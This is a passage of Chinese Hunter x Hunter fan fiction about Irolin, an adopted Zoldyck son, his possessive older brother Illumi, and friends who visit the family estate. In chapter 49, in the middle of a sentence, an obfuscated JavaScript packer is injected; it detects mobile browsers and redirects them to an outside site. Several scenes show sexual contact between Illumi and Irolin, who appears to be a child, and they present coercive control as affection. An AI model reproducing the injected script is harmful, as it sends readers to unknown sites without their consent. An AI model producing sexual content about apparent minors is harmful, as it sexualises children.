伊洛林是自私的，他不在乎猎人协会是不是有难言之隐，也不在乎自己父母的死因，或者说没那么在乎，他在心里永远最在乎的是自己的家人，家人之上就是格蕾西。做不了伟大的救世主，烂好心早就该收起来。伊洛林心情又低沉了下去，他们不是兄弟了，如果他们不要自己，那自己就变成没有爸爸妈妈的小孩，这不就是完全没有改变吗？ 而伊尔迷托起伊洛林的脸，仔细盯着他的眼睛。 “伊洛林，你那么痛苦，哥哥真的很高兴。竟然这么喜欢家里，太好了。” 这是肺腑之言。当然，如果格蕾西在，应该会给他一个过肩摔。什么玩意儿什么话，不会说话就闭嘴，不然一开口就是熟悉的pua味道。 “……但是哥哥也很不高兴，因为那样不好。” 伊尔迷为自己找借口，查缺补漏，毕竟伊洛林的眼神已经表明了一切。如果他不说点好话，伊洛林会试着把他塞进水里第二次，然后转身就走。 会和哥哥发脾气了，也很不错。 “对不起。” 伊尔迷直接道歉。他很诚恳，但是毫无悔意，毕竟这一手安排是他们三方策划。作为负责人，伊尔迷实在难辞其咎，并且还挺开心的，伊洛林越是痛苦就越是在乎，伊尔迷喜欢这样强烈的情绪，实在是开怀。伊洛林想了一会儿，觉得伊尔迷确实从来没有道歉过，但还是不太能原谅。 他沉着脸往下扭了扭，伊尔迷歪头，有些意外。 水下接触的部分可经不住什么扭一扭压一压。 “你想不想，再接个吻？” 伊洛林试探着询问。 伊尔迷当机立断往上亲，可伊洛林往后一仰，躲了过去，同时手伸进水里轻轻一抓，伊尔迷闷哼一声，眼神更加不对味。伊洛林目的达成，努力让自己别脸红，装作什么也没发生一般松开手，紧接着爬上岸，被放在原地的伊尔迷还有些无奈。 “为什么？丢哥哥在这里，一只手也不肯借？” “哥哥有两只手，何必第三只？”伊洛林拧 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奇犽阴阳怪气，看见伊洛林的时候迅速把嘴里的荤话收起来了，伊洛林听着想笑，附和起来：“二哥的房间老是乱糟糟的，也不肯女佣收拾，我已经向妈妈提议，让佣人cos成二哥喜欢的角色进去打扫卫生，现在大概已经去了。” 糜稽浑身一抖：“伊洛林你不可以这样！你，你……啊啊啊我的房间！！” 糜稽冲了出去，一骑绝尘。 奇犽吹了声口哨：“跑得真快，怪不得还被人夸呢。” 和伊洛林眼神一接触，奇犽甩断了自己手上的牵制，这种东西一般来说困不住他们，被惩罚太家常便饭，他们也不会故意和家里作对，去搞破坏，一般来说忍着被惩罚完了就行。赏罚分明的制度在揍敌客家十分流通。 “伊洛林，你今天怎么样？” “小杰好像要来找哥哥你。”伊洛林没回答他的话，从身后拿出医药箱，盘腿坐下拍了拍隔壁的地板，奇犽就顺势坐下让伊洛林给他上药：“哥哥也交到朋友了，真好。不过为什么好像爸爸妈妈挺不接受的？” “……小杰。” 奇犽感触颇深，只觉得自己可能会被感动得要死，竟然找到家里来，小杰真的是……他想要交朋友的人。当年伊洛林和格蕾西做朋友，可是全家投票决定，而奇犽心知肚明自己没那个机会，除非小杰变得和格蕾西一样。 他想起格蕾西，身手矫健，杀伐果断，身上还有很直观的强大还未显现。 嗯……要不要对小杰进行一次特训？ 说白了他们家都慕强，要是小杰也和格蕾西一样强大，那么也能进入投票阶段？ 奇犽眼睛一亮。 伊洛林小心为他上药，用棉签轻轻戳了戳他的伤口。 “好痛哦！”假的，根本不疼，奇犽习惯性要撒个娇。伊洛林笑着扑过去，挂在他肩膀上。“哥哥，你不要在意大哥和你说的那些话，都是假的。” “我知道。” 奇犽有些愧疚，不过想了想伊尔迷的德行，又没那么愧疚了。 “家人是最重要的。” 他的声音和伊洛林的声音交织在一起。 “要永远，以家人为优先。” 48. 48 当天晚上伊洛林没回房间，和奇犽睡一个被窝。 他们两个聊了很多以前的事，有的对得上，有的对不上，好像不久之前他们才都有五六岁，没这么多烦恼和想法。 奇犽说他们两个真是难兄难弟，从前的训练，伊洛林觉得苦奇犽觉得普通无聊，现在的生活，两个人都有点待不下去。伊洛林做好了准备，奇犽隐约可以感觉到，他握着伊洛林的手，两个人在被窝里相视而笑。 “我还记得之前，看见你笑，吓死我了。” 奇犽回忆着那个时候伊洛林突然会笑了这件事。 在伊洛林会笑之前，眉眼阴沉，眉眼什么活力与生气，每天都在努力地学习，带着伤奔走在庭院里，不是看卡片学词汇就是学算数，挂在房间里的是人体解剖图，手上看的书不知不觉也更换了好几种语言。 伊洛林完全没这个印象。他什么时候学了外语吗？ “真的太恐怖了，伊洛林你学习的速度就跟后面有谁追着你跑一样！”奇犽比划着，一本厚厚的书，啃下来只需要三天，进入学习状态的时候基本不动也不吃不喝，而且啊……“当初你真的是随地就睡着了，却总是一副没睡好的样子。” “好奇怪，我已经都忘掉了。”伊洛林笑道。 “没关系，忘掉的事情，我帮你记住。” 奇犽不太在意这一点，说实在，他们的记忆都不太完整，而伊洛林不知道为什么缺得更多，长大就伴随着遗忘吗？他望了一眼伊洛林，突然发现伊洛林头上多了两根白头发，奇犽翻身起来伸手去拔，微微刺痛，但伊洛林一动不动。 “……伊洛林，你怎么会有白头发啊？” “嗯——头发死掉了，所以白白的？” “什么啦！” 奇犽被他逗笑了，或许是伊洛林最近真的想得很多吧，他伸手摸了摸弟弟的发顶。他们两个人今后的路，到底会怎样呢…… 房门偷偷打开一条缝隙，柯特在外探头探脑。 他穿了一身睡裙，只露出一双眼睛盯着他们，伊洛林招了招手，他眼睛就亮了亮，闪身进来关上门，从被尾爬进来钻进两个人之间的空隙里，三个人躺在一起，彼此触碰着彼此，柯特顶进伊洛林怀里，奇犽笑起来。 “好过分，伊洛林怎么只抱着柯特？不过没关系！” 他往上一压，伊洛林在最下边差点喘不过气，而奇犽却笑得开心：“我会抱着你们两个！” 似乎，这个场景在哪里见过，但是，是在哪里呢？ 有个名字被遗忘了很久，没有人来说出口，记着的人不说话，忘记的人想不起来。 “妈妈知道你在这里？” “嗯。”柯特点点头，他闻着伊洛林身上沐浴后的香味，往里头再埋了埋：“想来……” 柯特很喜欢奇犽，也很喜欢伊洛林。 他躺在二人中间，左右都是自己喜欢的哥哥，心情也变得愉悦。 妈妈说，伊洛林不会离开家，伊洛林会一辈子在家里，真好，这样，他就会一辈子是自己的哥哥了。揍敌客家的操作系，在某种方面来说，如出一辙。 “睡吧，明天，大概会有好事发生。” 一定，会有好事发生。 而与此同时，飞艇上，格蕾西抓下了自己脸上盖着的热毛巾，企图直接塞进雷欧力的嘴里，让他别打呼噜，小杰拦着格蕾西，而酷拉皮卡使出正义铁拳，四个人得到了平静。 高级舒适的飞艇vip套间终于恢复了应该有的平静。 “按照这个速度，明天就能到达揍敌客家所在的巴托奇亚共和国，然后我们需要查询一下去揍敌客家的路线……”酷拉皮卡重新坐下来，他讲的是明天的计划，雷欧力揉着脸，嘟囔了一句真是暴力狂。因为伊洛林给了定位，所以他们没有去查揍敌客家的资料，不过伊洛林也发了一个当地旅游景点过来，难不成是让他们去旅游？ 反正无所事事，雷欧力点开看了一眼，嗓门突然拔高。 “什么——？！这个旅游景点就是伊洛林的家？？” 小杰立刻扑过来看，发出了惊叹：“呜哇……奇犽他们家好有钱的样子，整个山头都是吗？占地……诶，这个数字，我看不懂……好多位……” 格蕾西搓搓脸，把热毛巾放在了桌子上。 “没什么好奇怪的，伊洛林每个月都有五十万的零花钱，这是固定的，然后他爷爷偶尔也会给，一两百万的，伊尔迷那家伙也会给个五六十万，所以每个月伊洛林光是坐着不动就能进账几百万。”格蕾西掏出了自己的卡，上面就是揍敌客家的家徽：“哼哼，而我这张就是伊洛林的附属卡，每个月的额度不设上限，也就是伊洛林的钱有多少，我都能花多少。” 格蕾西满脸写着快夸奖伊洛林，得意猫猫得意脸。 当然，格蕾西其实很少花伊洛林的钱，她更爱花西索的，不花白不花。 “诶——伊洛林对你真好！” 小杰发出了由衷的感叹，他接触不到这么多钱，这辈子都没想过几十万的零花钱，而这些都是伊洛林和奇犽唾手可得的东西，有一种穷小子突然认识了贵公子的既视感。 “但是……”酷拉皮卡谨慎提问：“既然格蕾西可以是伊洛林的朋友，为什么小杰不能是奇犽的朋友？” “这个问题，伊洛林和我说过一点事，不知道是不是答案。” 格蕾西收起银行卡，喝了一口桌子上的牛奶巧克力，甜的齁嗓子，不过她爱喝甜的。 “奇犽是下一任家主的继承人，这一点从他出生的时候就注定了，所以奇犽的特训和教育都是由这一任家主负责，伊尔迷会时刻关注他，并且按照家主的教育方针辅助。” “所以奇犽不能决定自己的任何事情。” 雷欧力不由自主翻了个白眼：“简直就是没有意义的事情，这样养出来的傀儡怎么做家主啊？那不是得要决断的吗，没有判断能力只能相信家庭？” “就是说啊，根本没有意义。” 格蕾西下了判断。 而酷拉皮卡思索再三，做出了假设。 “大概是要摧毁神智之后，再重建，那 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是啊，人都是自私的，谁也不例外。 所以，所以……伊尔迷，你给我去死吧。格蕾西平静地想着，却目露凶光。另外三个人同时冒出一身的鸡皮疙瘩，不约而同搓了搓手臂。不是，不止是揍敌客家不正常，格蕾西，你自己也很危险啊！ 小杰想象了一下，自己变成格蕾西这样，暴怒摧毁猎人协会分布一半建筑物。 ……小杰萎靡不振觉得自己不行。 “呐，格蕾西，伊洛林到底是怎样的人呢？”小杰晃了晃双腿：“我不是很能理解，大概是因为我的爸爸妈妈我从未见过，米特阿姨对我来说就是妈妈，所以我知道我自己不是亲生的……伊洛林为什么这么痛苦呢？” “小杰，倒不如说，因为你一开始就知道，所以才不会这么剧烈。”酷拉皮卡叹了一口气，有些痛是缓慢生长的，而有些痛是被挤压爆发的，伊洛林大概是属于后者，而小杰的疼痛是在脉络里，不去在乎就以为没有，但是小杰这么想要看见自己的父亲，又何尝不是疼痛的另一种方式？ 格蕾西托着下巴，不知道自己能不能信任这些人。 她也不喜欢把伊洛林的事情告诉任何人，但是……她看了一圈，三个人脸上都挂着关心，那么如果伊洛林有更多的朋友，是不是就能放弃一点了？ “我，说不出口，那些事情对我来说也是不愿意回忆的噩梦。” “但是，就像是一个乞丐，从来没有品尝过美味，看着橱窗里的甜点幻想着是什么味道。突然有一天，有人给予了这样的美味，并且不断地持续供应，品尝的过程里，哪怕你对他态度恶劣也好，惩罚他也好，为了这份美味他都会觉得那些是无所谓的，也是再正常不过的。” “因为他是乞丐，从未被满足过的，乞丐。” 人这一生，要用一辈子去安抚童年的自己，伊洛林又何尝不是呢。 49. 49 能理解，会理解，不能理解，会觉得匪夷所思。 你们从未陪伴他走过长久的路，只有格蕾西陪伴了他足够长的事情，剩下的那个人，是伊尔迷。 嘁，不爽，迟早有一天弄死他。格蕾西重复想着。 他们洗漱，降落在巴托奇亚共和国，换乘了好几次才终于到达了枯枯戮山，在寻思着如何上去即将搭乘旅游观光车时，两位西装笔挺的黑衣人拦住了他们。 “请问，是格蕾西小姐吗？” 其中一位说道，并且将格蕾西从头到尾看了一遍，确认了什么之后往后退了一步侧身，露出身后的看起来就昂贵得要命的汽车：“伊洛林少爷命我们在这里等候，请您乘坐我们的车上去。其余几位是您的朋友吗？也请一起吧。” 好装的行为，但格蕾西喜欢，她甚至没多问一句，直接就坐了上去。酷拉皮卡和小杰紧随时候，只有雷欧力在不安，坐在里头还在询问他们为什么要坐，如果是别人假扮的或者根本就是冲他们来的怎么办？ “你在想什么，这是巴托奇亚共和国。” 格蕾西瘫在那，这个座位太软了，找伊洛林要一辆车吧！她话只说了一半，雷欧力还是一头雾水，而酷拉皮卡端正坐着，开口说完了下半句。 “在这里，揍敌客家只手遮天的可能性很大，所以，身为四少爷的朋友，格蕾西在这里也能横着走。谁会想招惹揍敌客？嘛，虽然说是欢迎袭击，不过本质上也是瞧不起他们。” “奇犽怎么样了，好想见到他。” 小杰叹了一口气，车辆飞速行驶，两位西装酷哥保持沉默，他们很快追上了刚刚那辆观光车，并且目睹了两位想要进攻揍敌客家的不知死活的人，且眼睁睁看着他们从人类变成白骨。揍敌客家的防御看起来是几乎没有，但是他们家本身的防御则很好地弥补了这一点，这个高度，这个厚度，这个制造材料，都令人惊叹。 车开到门口，两位西装男下车，拉开了车门。 “请下车。” “为什么不直接开进去？”格蕾西抬了抬眼睛。 “很抱歉，我们的主人设有规则，只有推开一扇门的人能够进入揍敌客家，这是基础门槛，并非伊洛林少爷的一句话能够打破的。请不要为难我们。” 格蕾西没多说什么，下了车，面对着门，指着问。 “伊洛林能推开几扇门？” “此次，未尽全力的状态下，三少爷与四少爷各开三扇门。” 恐怖如斯。 他们打开门让车进去，门又重新关上，小杰尝试着推开门，使出全身力气依旧无法推动些许，连格蕾西都没能撼动多少，门口看着门的皆卜力过来给他们示范了一下什么叫作不起眼的猛男，去天空竞技场都能打个两百层的。 小杰想打电话过去问，但是皆卜力觉得不太可能。 只不过…… 格蕾西打了个电话给伊洛林，响了几声之后，却是伊尔迷接的，他的声音显得非常无辜且平淡：“哦，是格蕾西啊，来找伊洛林吗，他现在没有空呢。要转达话语吗？嗯……进不来吗，那真是可惜啊，伊洛林大概等不到你了。” 电话，啪一声挂断了。 ……很好，很好！伊尔迷，我现在就去把你杀了！！ 格蕾西努力推门，失败告终，只能跟随着小杰他们在努力学习，努力地增加推力，直到能够推开一扇门为止，而雷欧力居然能推开两扇门，好离谱，什么超级赛亚人。格蕾西自认为还是有些能力在身上的，但是拼命也只能推开一扇，想一想就觉得很离谱，那伊洛林是怎么练的？在家里就跟他们一样锻炼？ 格蕾西正在想着呢，隔壁的木门哐当一声被雷欧力撞碎了，他整个人都扑了进去，一只白色长毛类似于狗的生物出现了，它体型巨大，遮天蔽日一般，来不及多想，小杰撒开腿往里跑引起大狗三毛的注意力，格蕾西几乎想也不想就跟了上去，脑子里闪过一句话：伊洛林要介绍的狗难不成就是这一只吗？ 小杰命悬一线，而格蕾西脚尖点地，一冲向前，正要咬小杰的三毛顿住了，而格蕾西也恰好到了面前，正打算出手，就发现三毛的眼神清澈，它趴下来，友好地嗷呜了一声，鼻尖冲着格蕾西。 小杰狼狈爬了上来，一行人面面相觑。 “怎么回事？” 正当皆卜力也摸不着头脑时，如同少女一般的声音轻飘飘传来，而三毛也一跃而起，落在了到来的主人身边。 “好久不见。因为你的照片，它见过。” 柯特安静站在那，三毛对他而言就像是一座山，留着齐耳短发的柯特像个洋娃娃，和服穿着在身，举止优雅。格蕾西望向三毛，似乎是为了证实这句话的真假，三毛摇了摇尾巴。 “哥哥对它说过，如果攻击你，就把它做成狗肉火锅。” “伊洛林不吃狗肉。” “嗯，是开玩笑，但是它记住了。”柯特摸了摸三毛的毛发：“顺带一提，两年不见，你依旧很讨人厌。” “彼此彼此，你也让人喜欢不起来，跟你大哥一样。” 格蕾西是不会对揍敌客家的人客气的。柯特恰好也没想跟她说太多话，本来只是不想看到奇犽的朋友被自己家狗吃了，才选择出来阻拦，只是没想到格蕾西的脸真的被三毛记住了。他转身就走，剩下格蕾西他们迅速收拾好东西整理好衣服，顺着这条路继续往上走。 而出现在他们面前的，是名为卡娜莉亚的预备管家。 她深深鞠了一躬：“格蕾西小姐，欢迎你的到来。” 她放过了格蕾西，却拦住了小杰，按照说法，是因为小杰还太弱了，而格蕾西到达了资格。格蕾西想了想，提出一条开创性的想法。 “你不能对我动手，因为我是客人。” “是的。” “所以我可以对你动手，因为你只是佣人。” “是的。” 下一秒，尖锐的棱刺抵住了卡娜莉亚的脖颈：“那么，我们之间没有多余的话可以说，放他们过来，别让我说第二次。” 卡娜莉亚迅速屈服。 她也没有什么好不屈服的，因为基裘已经到达战场，随着尖叫的长音贯穿耳膜，她扑了过来，把如临大敌的格蕾西一把搂进怀里，狠狠地，像是要蹂躏进身体里面一般。格蕾西抗拒炸毛，却发现在这个女人面前要，自己毫无反抗之力，伊洛林的妈妈，恐怖如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035592|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯。她捧起格蕾西的脸，仔仔细细，看了一遍又一遍，在格蕾西都快爆炸的时候，露出了极为满意的笑容。 “不错，不错！啊…这样的脸，还能够从流星街出来，格蕾西——！！伊洛林的格蕾西！！” 格蕾西差点脱口而出的你没事吧，因为最后那句话变成了委婉的：“阿姨你好我是格蕾西我来找伊洛林。” “不要叫我阿姨！”基裘伸出纤长的手指压在格蕾西的嘴上，声音里是八分的愉悦与两分期待：“要叫我妈妈！” 等下，什么鬼啊？！ 什么你妈妈就是我妈妈，我可不想要一个揍敌客的妈！！ 柯特站在基裘的身侧，眼神已经死了，反正不论怎么和基裘说，基裘都觉得格蕾西非常适合做家里的儿媳妇，爸爸跟她说了两轮反而被说服了，讨厌的人要变成嫂子这种事情，绝对不要。嫁给谁都不行。 “怎么样？” “……什么？” “我有五个儿子你可以随便挑选！”基裘已经预见了，格蕾西生出的后代，完美结合出的漂亮小孩和最最最有潜力的孩子！那时候，一定可以……不过要奇犽吗？奇犽的话，不行，那个孩子还需要更加彻底地教育！所以格蕾西如果要奇犽，一定就必须也接受教育！ 格蕾西秒答：“我要伊洛林。” 这个也困难，伊洛林被伊尔迷预定了，亲爱的妈妈是知情人。 格蕾西露出了笑容。 “哎呀，不行？那我要伊尔迷怎么样。” “……” 基裘松开手，觉得自己痛失完美漂亮小孩，差点从牙关里挤出一句好怎么办。要不然你们三个能幸福吗？能的话其实这种扭曲的关系家里应该也不是很介意，但是，一夫一妻好制度可不是这种一夫一妻啊。 “真的是，柯特不行吗？我们家柯特也是乖巧懂事！” 格蕾西终于能自由活动，赶紧后退了一步，闻言看向柯特，迅速地摇了摇头。不行，和这小屁孩？想都别想。而柯特抬起脸，一张脸显得很乖，很漂亮，甚至有几分笑意：“妈妈，我可以娶格蕾西姐姐。” 格蕾西：……？ 你自己说什么屁话啊？？ “哥哥一定也会很高兴的。” 基裘觉得很对，柯特不行吗？柯特完全可以啊，只是年纪小了两岁而已，年纪小的会疼人这一点不也很正确吗！ 格蕾西十动然拒。 “不要，我不喜欢小男孩。” “而且啊……我真的非常讨厌你哦，柯特。” 柯特眨了眨眼，唇角不动声色轻轻一勾，果真，基裘失去了所有兴趣转头离开了，唉，原来伊洛林说她讨厌揍敌客是真的，真是的！！交朋友怎么可以交讨厌家里的朋友呢！一定要和伊洛林说清楚！！ “你该感谢我。”柯特说道。 “哦！” 格蕾西敬谢不敏。 “柯特！还在那里做什么，快点过来！” 柯特转身小步跑走了，小杰讷讷看了一会儿，傻乎乎回头：“那个，为什么伊洛林和伊尔迷不行呢？” 格蕾西的拳头硬邦邦。 因为有人想屁吃了。 50. 50 他们从亲兄弟和伪兄弟开始讨论，高谈阔论所谓的男人与男人之间的爱情，与兄弟之间是否能迸发出爱情，梧桐和一排西装猛男听着，每个人都在忍耐着，忍耐着…… 大少爷和谁……四少爷？ 不是，作为佣人，能听见这么劲爆的东西吗，不会被主人杀掉吗，谁来救救。 奇犽踏进门的那一刻，格蕾西正一脚踩在桌子上，慷慨激昂。 “所以，我们的目标是什么？” 剩下三个人坚定握拳，参与了应答。 “拆散揍敌客不要脸骨科，成就伊洛林完美人生！” 奇犽：？ 等等，一个月不见你们都进化到这步了？ 梧桐一脸不是很想活着但是也死不了的表情皱着眉头，比起上一次见面好像都老了十多岁。小杰看到奇犽的时候眼睛亮了八个度，两个人凑在一起看来看去，小杰笑着说奇犽好狼狈，奇犽说小杰也不差脸上怎么肿了这么大一块。 卡娜莉亚心虚地挪开视线，不好意思，奇犽少爷，我真的不是故意打他的，是他的脸先撞到我的武器的。 格蕾西的耐心只有三秒。 “伊洛林呢？他不来的话我就把你们家拆得像猎人协会分部一样。” 她是认真的，在这个揍敌客家，她的耐心基本已经消耗殆尽了。 “哦，他啊，好像是说因为伊尔迷那家伙动了他的手机，说什么等他十分钟他就来了。”奇犽耸耸肩，这一个月伊洛林都和他一起睡，柯特也隔三岔五就过来打卡，伊尔迷确实没怎么出现过，所以奇犽也就没在意。不过他提起来另一件事：“老妈说伊洛林差点把伊尔迷淹死诶，我还没问是不是真的。” 假的吧，不然伊尔迷怎么还活着。 格蕾西很记仇，她一般有仇立刻就报，当场报，这辈子她只遇到三种人无法实现这个行为，一个是幻影旅团那群神经病，一个是西索这种死BT，还有一个就是伊尔迷这种人憎鬼厌的东西。 梧桐插了句话。 “确实是这样的，大少爷有溺水的症状。” “真的假的？”奇犽震撼的，伊洛林也太勇了吧，能把他哥往水里淹，最后也没有受到惩罚。酷拉皮卡也叹为观止，感觉伊洛林在改变，看来不是亲生的这件事给他的打击很大啊。 格蕾西颇为满意地点点头：“下次再接再厉弄死他。” 她丝毫不在意别人怎么想的，往沙发上一坐，悠哉游哉等起了人。十分钟，没关系，她能等，就十分钟。 伊洛林从来不撒谎。 半个月前，揍敌客家又一次三方会谈，依旧是席巴与伊尔迷，外加一个伊洛林。这一个月里伊洛林不断地试探，席巴终于松口，伊尔迷的申请得到了通过。 伊洛林曾经询问过伊尔迷，自己的记忆是怎么回事。 伊尔迷一开始不愿意说，于是伊洛林只能软磨硬泡席巴，这位老父亲对于事情的理解和判断都宽容过伊尔迷，没有抓得那么紧，他们开了场小会议，最后告诉伊洛林，或许他的记忆是因为和亚路嘉许愿导致的。 “亚路嘉？” 伊洛林对这个名字很熟悉，却不论如何都记不起来。 “嗯，他才是奇犽的双胞胎弟弟，也是你的哥哥，从前你们的关系很好。” 席巴对他解释，因为亚路嘉身上的能力太过于恐怖，不加以限制的话会造成了不得的后果，比如说，制约能力下，或许会让整个家族全军覆灭。那个家伙不是家人，而是怪物，所以他们称呼亚路嘉为——那个家伙。 伊洛林扶着脑袋想了想，头疼欲裂，嘴里却下意识念出一个名字。 ——“拿尼加？” 完全正确。 “啊，看起来还漏了一点点记忆啊。” “什么意思？” 伊洛林敏锐察觉到了，他看向伊尔迷，伊尔迷无辜地看着他，然后躲了一下视线，伊洛林往席巴身边靠了靠，义正词严开口：“爸爸，我觉得我得拒绝……”伊尔迷伸手捏住了伊洛林的嘴，够了，小嘴巴快闭上。 “是我，在你脑子里扎了针，让你忘记了亚路嘉。” “但是在我扎进去之前，你已经忘了。”伊尔迷歪了歪头，他勾起唇角，摸了摸弟弟的脸：“那个时候，你叫了我一声哥，还很正常地和我说话，我就知道了哦。你已经忘掉了。” 那我以前多不待见你啊。伊洛林撇撇嘴，他最近敢和伊尔迷使小性子，反正伊尔迷纵着他。 “我可以帮你。” 那天回房间之后，伊尔迷提出了这个交易，他送纸条进去联络亚路嘉，询问他是否愿意帮助伊洛林恢复记忆，而伊洛林则需要给他一点甜头。交易是认真的，揍敌客家的人没有一个会拿交易来开玩笑，所以伊尔迷也是认真的。 伊洛林同意了，他在等格蕾西，所以他有的是时间和伊尔迷周旋。 这种感觉很奇妙，他把伊尔迷摁进水里一次之后，胆子突然就大了，做这种拉扯的事情也会显得很熟练，就好像他曾经是一个大人一样。不，或许他真就是一个大人，只是处于这个年岁太久，他也以为自己只不过是一个孩子而已。 伊尔迷要的甜头不多。 首先是一个吻，几乎让伊洛林断气的吻，藕断丝连，缠缠绵绵，不死不休。伊洛林咬破了伊尔迷的嘴唇，才让他停下了动作，却是用一种可怖的眼神紧紧盯着伊洛林看。 紧接着是一次安抚。这一点不多做阐述，伊洛林比上次在黑夜里迷迷糊糊的时候，更直观感受了一下，席巴血统下的长男的能力，在这个时候的连绵不绝。不愧是孕育了五个孩子的席巴，很能让人生孩子，所以伊尔迷也很极限。 手疼，腿疼，其他地没有，毕竟伊尔迷还没失心疯。 当然，对于一般人来说，现在就是失心疯。 而后伊洛林终于得到了自己想要的东西，是一张写着不愿意的白纸条，折叠成漂亮的蝴蝶形状，放在了匣子里，匣子里有一对耳坠，也是蝴蝶形状，黑色的，翅膀处是薄纱一般的材质。这是亚路嘉给伊洛林的礼物。 他企图送给奇犽，被席巴拒绝了。 只有伊洛林的礼物通过了审查，伊洛林想了想，他把耳坠戴上，用房间里的相机自拍了一张照片， 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他的行动在告诉伊洛林，别咬紧牙关等待，别忍住一切按兵不动，哥哥更喜欢你的全部。全部，是指你沉默寡言的曾经，是你曾经眼里写的不满，是你望着天空想要自由的眼神，和沉沦在家庭里的茫然与渴望，当然，还要一个足够有趣的未来。 容易控制的人固然有趣，可操作系的控制，从来不简单到这么普通。 哥哥想要操控的，是你的全部。 但是关于怎么惩罚这一点伊洛林真的很苦恼，他想了很多，感觉都是家里会用到的，就算是用鞭子抽伊尔迷也不一定会觉得疼，他只会面无表情地承受。 伊洛林想出个办法来，他用记号笔在伊尔迷脸上画了个小猫头。 接下来三天，这个痕迹都会在他脸上。 紧接着将伊尔迷捆在了刑具上，不准他挣脱，而后他坐在了伊尔迷的腿上。两分钟后伊洛林离开，而伊尔迷望着计时器，数着还剩下的4小时。 真可恶，伊洛林也学坏了，明明知道自己忍得很辛苦，却还要让哥哥在这种状态下一动不动。 伊洛林出门也是席巴批准的，他什么也没带，愉悦冲进了梧桐所在的管家别院，一见格蕾西便扑了上去，压在了她身上，结实的肌肉属实让格蕾西觉得他硬邦邦，但她还是抱着伊洛林狠狠地蹭了几下。 死丫头，恢复精神了就好。 “格蕾西——我来晚了！” “精神好了这么多？”格蕾西挑起眉头。 伊洛林心虚一秒钟，转头对着看呆的几个人点了点头：“梧桐，谢谢你帮我照顾格蕾西，那我们就先走了。” “好的，四少爷。” 梧桐鞠躬，送别一行六人，阳光落下来，伊洛林笑着拉住格蕾西的手，解释着什么。 其中一个西装男擦了擦眼泪。 “伊洛林少爷，真是长大了……” “是啊，从前才那么小一个呢！” “那时候，他还不是少爷，唉。” 梧桐的目光追随着伊洛林与奇犽，他平和了些许心情，没说一句话。或许，长大后就是会显得格外不同吧。 伊洛林少爷，奇犽少爷，请多珍重。 51. 51 伊洛林一边走一边将头绳还给格蕾西。 奇犽还挺好奇，你们这做约定的道具还挺有意思，怎么是根头绳？格蕾西戳戳他，你不懂，这叫作我们认真的方式有所不同。虽然听得不是很懂，小杰也配合地猛点头，酷拉皮卡笑笑没说话，只觉得他们之间的友情足够互相理解，而雷欧力则嘟囔了一句一根皮筋能代表什么。 六个人热热闹闹往门口走，而大门口附近站着的白发老人让奇犽声音一收。 “爷爷！” 伊洛林乖巧迎了上去，奇犽也乖乖地跟上去，还要解释一句爸爸已经同意他出门了。 “嗯。这件事我知道。” 桀诺不是来影响他们心情的，视线搜寻到格蕾西，表情尽量放松了一些，而后掏出一包红色纸封递给了格蕾西，很薄的长条纸封，看起来也就塞得下一张纸币的程度，格蕾西愣了一下，下意识双手接住这个看起来年纪挺大的老人家给予的善意。 “格蕾西，对吧？”桀诺冲她笑了笑：“那么，伊洛林就拜托你了。” “还有，小杰？”桀诺仔仔细细打量了一下小杰，不由自主地，小杰立正挺胸生怕他看自己不喜欢，桀诺感叹似的开口：“如果你完成了全部的猎人考试，我会补上今天缺失的一部分。” 咦？ 那就是……认同？！ 小杰的眼睛闪闪发亮起来，而桀诺已经一个闪身消失在了原地。 格蕾西撇撇嘴：“什么啊，这么薄，是最大金额吗……”她对揍敌客家的所有人都不喜欢，顺手就拆开纸封一看，抽出来一张支票。格蕾西瞪大眼睛，数完了那个金额，雷欧力眼疾手快一把接住整个人都往后倒的格蕾西。 “一……一个亿……” “咦？！” 酷拉皮卡都被震惊到了，小杰更是这辈子都没见过这么多，雷欧力震惊，震撼，震动得双目发光，这，他能不能也被拜托照顾一下伊洛林啊？他的发言得到了酷拉皮卡看人渣的眼神，气得雷欧力跳脚。你有一个亿你也眼睛直了吧！ 酷拉皮卡：不要把你和我相提并论。 “这有什么，我爷爷的钱可是数不清啊！”奇犽一点也不觉得有什么奇怪的，身为杀手，赚钱无数诶，伊尔迷的资产都相当可观了，如果他没记错，家里孩子里最不会乱花钱的就是伊洛林，所以伊洛林的钱也是最多的。 格蕾西轻飘飘地握住了伊洛林的手。 “从今往后，你爷爷就是我爷爷了……” 伊洛林忍俊不禁：“爸爸说了，以后你的账户上，每个月也会有五十万的零花钱。” “你爸爸以后也是我爸爸了！” 给儿子不如给钱啊！格蕾西被金钱腐蚀了心，如是想到。 在车站里，他们需要分道扬镳。 酷拉皮卡要去做自己的事情，暂且没有透露太多，而雷欧力则选择去读完大学，小杰和奇犽要找西索，而格蕾西则约了一位故人见面。 “你呢，你不说话，是有自己的安排？” 格蕾西望着思索中的伊洛林，而伊洛林迟疑了两秒，算了算：“那我花两天时间来回应该能够在100层左右看见你们？” 伊洛林决定去一趟猎人协会分部。 “……你想去查明真相？”酷拉皮卡叹了一口气，其实他很担心，伊洛林得知自己的杀父仇人是揍敌客家之后，需要反目成仇，但是按照刚刚的情况来看，伊洛林还是揍敌客家的一份子。格蕾西想了想，明白了他的意思：“毕竟，谁都不想被蒙在鼓里。到底是为什么要请杀手杀掉他们，又到底为什么要接触伊洛林，猎人协会不可能真的只是为了告诉他这件事而已。” “对，更何况……你们应该听皆卜力说过了。”伊洛林回忆往昔，眉头不自觉皱起：“我十岁那年，家里遭遇了上千名猎人的进攻，他们最终都死在了卡娜莉亚的手下，而他们的目标，应该是我。” “按照猎人的通过水准，上千名是不可能的。”酷拉皮卡否认了这个说法，而雷欧力很懂这个：“伪装的，我知道，我考试之前也遇到过假的猎人，都是说着好听，实则不然。” “是，所以我不能处于被动。” 伊洛林做出最后阐述。 “我必须去知道一切，才知道自己最后的路要怎么走。两天时间，足够了。” 